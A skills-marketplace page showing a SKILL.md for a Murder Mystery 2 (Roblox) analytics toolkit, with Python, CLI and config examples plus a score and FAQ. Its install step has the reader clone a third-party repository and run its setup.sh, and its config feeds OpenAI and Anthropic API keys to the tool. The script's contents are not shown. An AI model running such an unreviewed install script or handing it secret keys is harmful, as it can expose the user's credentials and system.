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Skills/aradotso/data-skills/mm2-roblox-analytics-toolkit
mm2-roblox-analytics-toolkit logo

mm2-roblox-analytics-toolkit

aradotso/data-skills
678 installs1 stars
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Installation

npx skills add https://github.com/aradotso/data-skills --skill mm2-roblox-analytics-toolkit

Summary

Murder Mystery 2 gameplay analytics, inventory tracking, and strategy optimization toolkit for Roblox

SKILL.md

MM2 Roblox Analytics Toolkit

Skill by ara.so — Data Skills collection.

This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern analysis.

Installation

Quick Setup (Automated)

git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git
cd mm2-analytics-dashboard-2026
chmod +x setup.sh
./setup.sh --install

Manual Installation

# Clone repository
git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git
cd mm2-analytics-dashboard-2026

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

Environment Configuration

Create a .env file in the project root:

API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${ANTHROPIC_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
ROBLOX_USER_ID=${YOUR_ROBLOX_USER_ID}

Core Features

1. Inventory Management

Track and catalog your MM2 items including knife skins, gamepasses, and collectibles.

# Python API for inventory tracking
from mm2_toolkit import InventoryManager

# Initialize inventory manager
inventory = InventoryManager(user_id=os.environ['ROBLOX_USER_ID'])

# Scan and catalog items
inventory.scan_inventory()
knife_skins = inventory.get_items(category='knife_skins', rarity='legendary')

# Export inventory data
inventory.export(format='json', output='my_inventory.json')

# Get collection statistics
stats = inventory.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Legendary items: {stats['legendary_count']}")
print(f"Collection completion: {stats['completion_percentage']}%")

2. Analytics Dashboard

Generate gameplay statistics and performance metrics.

from mm2_toolkit import AnalyticsDashboard

# Initialize analytics
dashboard = AnalyticsDashboard(profile='mystery_solver_01')

# Load gameplay data
dashboard.load_data(date_range='last_30_days')

# Generate reports
report = dashboard.generate_report(
    metrics=['win_rate', 'avg_survival_time', 'role_performance'],
    export_format='json'
)

# Visualize data
dashboard.create_visualization(
    chart_type='line',
    metric='win_rate_over_time',
    output='charts/performance.png'
)

3. Strategy Optimization

Analyze gameplay patterns and receive AI-powered recommendations.

from mm2_toolkit import StrategyOptimizer

# Initialize optimizer with AI backend
optimizer = StrategyOptimizer(
    openai_key=os.environ['API_OPENAI_KEY'],
    claude_key=os.environ['API_CLAUDE_KEY']
)

# Analyze strategy patterns
patterns = optimizer.analyze_patterns(
    role='sheriff',
    game_count=50
)

# Get AI recommendations
recommendations = optimizer.get_recommendations(
    current_strategy='aggressive_sheriff',
    win_rate_target=0.75
)

for rec in recommendations:
    print(f"Strategy: {rec['name']}")
    print(f"Description: {rec['description']}")
    print(f"Expected improvement: {rec['improvement_percentage']}%")

CLI Commands

Basic Usage

# Run analytics on profile
python3 main.py --mode analytics --profile mystery_solver_01

# Export inventory
python3 main.py --mode inventory --export inventory.json --format json

# Generate strategy report
python3 main.py --mode strategy --role sheriff --output strategy_report.pdf

# Live tracking mode
python3 main.py --mode live --interval 60 --log-level INFO

Advanced Options

# Comprehensive analysis with verbose output
python3 main.py \
    --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --date-range "2026-01-01:2026-05-16" \
    --verbose \
    --log-level DEBUG

# Batch process multiple profiles
python3 main.py \
    --mode batch \
    --profiles profile1,profile2,profile3 \
    --export-dir ./exports \
    --parallel

# Strategy simulation
python3 main.py \
    --mode simulate \
    --strategy aggressive_sheriff \
    --iterations 1000 \
    --output simulation_results.csv

Configuration Patterns

Profile Configuration (YAML)

# config/profiles/player_profile.yaml
profile:
  username: "MysterySolver2026"
  roblox_user_id: "${ROBLOX_USER_ID}"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: ["csv", "json"]
    enable_ai_insights: true
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      risk_tolerance: 0.7
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      risk_tolerance: 0.3

Data Export Configuration

# Configure export settings
from mm2_toolkit import ExportManager

exporter = ExportManager()

# Export inventory with custom formatting
exporter.export_inventory(
    format='json',
    include_metadata=True,
    compress=True,
    output='exports/inventory_backup.json.gz'
)

# Export analytics to multiple formats
exporter.export_analytics(
    formats=['csv', 'json', 'excel'],
    date_range='last_7_days',
    output_dir='exports/weekly_report'
)

# Schedule automated exports
exporter.schedule_export(
    frequency='daily',
    time='23:00',
    formats=['json'],
    output_dir='exports/daily_backups'
)

Working Examples

Complete Inventory Analysis

#!/usr/bin/env python3
import os
from mm2_toolkit import InventoryManager, AnalyticsDashboard
from datetime import datetime

def analyze_inventory():
    # Initialize managers
    inventory = InventoryManager(user_id=os.environ['ROBLOX_USER_ID'])
    dashboard = AnalyticsDashboard(profile='main_profile')
    
    # Scan current inventory
    print("Scanning inventory...")
    inventory.scan_inventory()
    
    # Get knife skin statistics
    knife_stats = inventory.get_category_stats('knife_skins')
    print(f"\nKnife Skins Summary:")
    print(f"Total: {knife_stats['total']}")
    print(f"Legendary: {knife_stats['legendary']}")
    print(f"Ancient: {knife_stats['ancient']}")
    
    # Calculate inventory value
    total_value = inventory.calculate_total_value()
    print(f"\nEstimated Inventory Value: {total_value} coins")
    
    # Identify missing items
    missing = inventory.get_missing_items(category='knife_skins')
    print(f"\nMissing Legendary Skins: {len(missing)}")
    for item in missing[:5]:
        print(f"  - {item['name']} (Drop rate: {item['drop_rate']}%)")
    
    # Export results
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    inventory.export(
        format='json',
        output=f'reports/inventory_{timestamp}.json'
    )
    print(f"\nReport saved to reports/inventory_{timestamp}.json")

if __name__ == "__main__":
    analyze_inventory()

Strategy Performance Tracking

#!/usr/bin/env python3
import os
from mm2_toolkit import StrategyOptimizer, AnalyticsDashboard

def track_strategy_performance():
    # Initialize components
    optimizer = StrategyOptimizer(
        openai_key=os.environ.get('API_OPENAI_KEY'),
        claude_key=os.environ.get('API_CLAUDE_KEY')
    )
    dashboard = AnalyticsDashboard(profile='competitive_player')
    
    # Load recent gameplay data
    dashboard.load_data(date_range='last_14_days')
    
    # Analyze each role
    roles = ['sheriff', 'murderer', 'innocent']
    results = {}
    
    for role in roles:
        performance = dashboard.get_role_performance(role)
        patterns = optimizer.analyze_patterns(role=role, game_count=100)
        
        results[role] = {
            'win_rate': performance['win_rate'],
            'avg_survival': performance['avg_survival_time'],
            'games_played': performance['games_played'],
            'top_strategy': patterns['most_successful_pattern'],
            'improvement_areas': patterns['improvement_suggestions']
        }
        
        print(f"\n{role.upper()} Performance:")
        print(f"  Win Rate: {performance['win_rate']:.1%}")
        print(f"  Avg Survival: {performance['avg_survival_time']:.1f}s")
        print(f"  Games: {performance['games_played']}")
    
    # Get AI recommendations
    recommendations = optimizer.get_recommendations(
        current_strategy='balanced',
        win_rate_target=0.70
    )
    
    print("\n=== AI Strategy Recommendations ===")
    for i, rec in enumerate(recommendations[:3], 1):
        print(f"\n{i}. {rec['name']}")
        print(f"   {rec['description']}")
        print(f"   Expected improvement: +{rec['improvement_percentage']}%")
    
    # Export comprehensive report
    dashboard.export_report(
        data=results,
        recommendations=recommendations,
        format='pdf',
        output='reports/strategy_analysis.pdf'
    )

if __name__ == "__main__":
    track_strategy_performance()

Live Data Collection

#!/usr/bin/env python3
import os
import time
from mm2_toolkit import LiveTracker, DataCollector

def live_tracking_session():
    # Initialize live tracker
    tracker = LiveTracker(
        user_id=os.environ['ROBLOX_USER_ID'],
        refresh_rate=30  # seconds
    )
    
    collector = DataCollector(output_dir='data/live_sessions')
    
    print("Starting live tracking session...")
    print("Press Ctrl+C to stop\n")
    
    try:
        tracker.start()
        
        while True:
            # Get current game state
            state = tracker.get_current_state()
            
            if state['in_game']:
                print(f"[{state['timestamp']}] Role: {state['role']}")
                print(f"  Status: {state['status']}")
                print(f"  Survival Time: {state['survival_time']}s")
                
                # Collect data point
                collector.add_data_point(state)
                
            else:
                print(f"[{state['timestamp']}] Waiting for game...")
            
            time.sleep(30)
            
    except KeyboardInterrupt:
        print("\n\nStopping tracker...")
        tracker.stop()
        
        # Save collected data
        session_file = collector.save_session()
        print(f"Session data saved to: {session_file}")
        
        # Generate session summary
        summary = collector.get_session_summary()
        print(f"\nSession Summary:")
        print(f"  Duration: {summary['duration']} minutes")
        print(f"  Games Played: {summary['games_played']}")
        print(f"  Win Rate: {summary['win_rate']:.1%}")

if __name__ == "__main__":
    live_tracking_session()

Troubleshooting

Common Issues

Issue: API rate limiting

# Implement rate limiting and retry logic
from mm2_toolkit import APIClient
import time

client = APIClient(
    rate_limit=10,  # requests per minute
    retry_attempts=3,
    retry_delay=5
)

try:
    data = client.fetch_inventory()
except APIClient.RateLimitError:
    print("Rate limit reached. Waiting 60 seconds...")
    time.sleep(60)
    data = client.fetch_inventory()

Issue: Missing environment variables

# Validate environment setup
import os
import sys

required_vars = ['ROBLOX_USER_ID', 'DATA_DIRECTORY']
missing = [var for var in required_vars if not os.environ.get(var)]

if missing:
    print(f"Error: Missing environment variables: {', '.join(missing)}")
    print("Please configure .env file with required variables")
    sys.exit(1)

Issue: Data sync conflicts

# Clear cache and resync
python3 main.py --clear-cache
python3 main.py --mode inventory --force-sync

Issue: Export format errors

# Validate export settings
from mm2_toolkit import ExportManager

exporter = ExportManager()

# Check supported formats
supported = exporter.get_supported_formats()
print(f"Supported formats: {', '.join(supported)}")

# Export with validation
try:
    exporter.export_inventory(format='json', validate=True)
except ValueError as e:
    print(f"Export error: {e}")

Best Practices

  1. Regular Backups: Schedule daily inventory exports
  2. API Key Security: Never commit API keys; use environment variables
  3. Data Validation: Validate imported data before analysis
  4. Rate Limiting: Respect API rate limits to avoid throttling
  5. Incremental Sync: Use incremental updates for large inventories
  6. Error Handling: Implement try-catch blocks for network operations

Additional Resources

  • Repository: https://github.com/8015238355/mm2-analytics-dashboard-2026
  • Documentation: Check repository README for detailed feature documentation
  • Community: Join Discord for support and strategy discussions

Score

0–100
63/ 100

Grade

C

Popularity15/30

678 installs — growing adoption.

Completeness27/30

Documented: full SKILL.md body, description, one-line install. Missing: category/license metadata.

Trust15/25

Community skill with a public GitHub source repository you can review.

Freshness6/15

No update timestamp is tracked for this skill in our catalog.

Scored automatically from popularity, completeness, trust, and freshness — computed only from data in our catalog, never fabricated.

Proud of your score? Add this badge to your README.

Paste a snippet into your GitHub README. The badge updates automatically and links back to this page.

Mm2 Roblox Analytics Toolkit skill score badge previewScore badge

Markdown

[![Mm2 Roblox Analytics Toolkit skill](https://www.claudemarket.ai/skills/aradotso/data-skills/mm2-roblox-analytics-toolkit/badges/score.svg)](https://www.claudemarket.ai/skills/aradotso/data-skills/mm2-roblox-analytics-toolkit)

HTML

<a href="https://www.claudemarket.ai/skills/aradotso/data-skills/mm2-roblox-analytics-toolkit"><img src="https://www.claudemarket.ai/skills/aradotso/data-skills/mm2-roblox-analytics-toolkit/badges/score.svg" alt="Mm2 Roblox Analytics Toolkit skill"/></a>

Mm2 Roblox Analytics Toolkit FAQ

How do I install the Mm2 Roblox Analytics Toolkit skill?

Run “npx skills add https://github.com/aradotso/data-skills --skill mm2-roblox-analytics-toolkit” in your terminal. The skill is added to your agent's skills directory and picked up automatically on the next run — no restart or extra configuration needed.

What does the Mm2 Roblox Analytics Toolkit skill do?

Murder Mystery 2 gameplay analytics, inventory tracking, and strategy optimization toolkit for Roblox The full SKILL.md on this page shows the exact instructions the skill gives your agent.

Is the Mm2 Roblox Analytics Toolkit skill free?

Yes. Mm2 Roblox Analytics Toolkit is a free, open-source skill published from aradotso/data-skills. As with any third-party skill, review the source repository before installing it into an agent with sensitive access.

Does Mm2 Roblox Analytics Toolkit work with Claude Code and OpenClaw?

Yes. Skills use the portable SKILL.md format, so Mm2 Roblox Analytics Toolkit works with Claude Code, OpenClaw, Codex, Hermes, and any other agent that reads SKILL.md skills.

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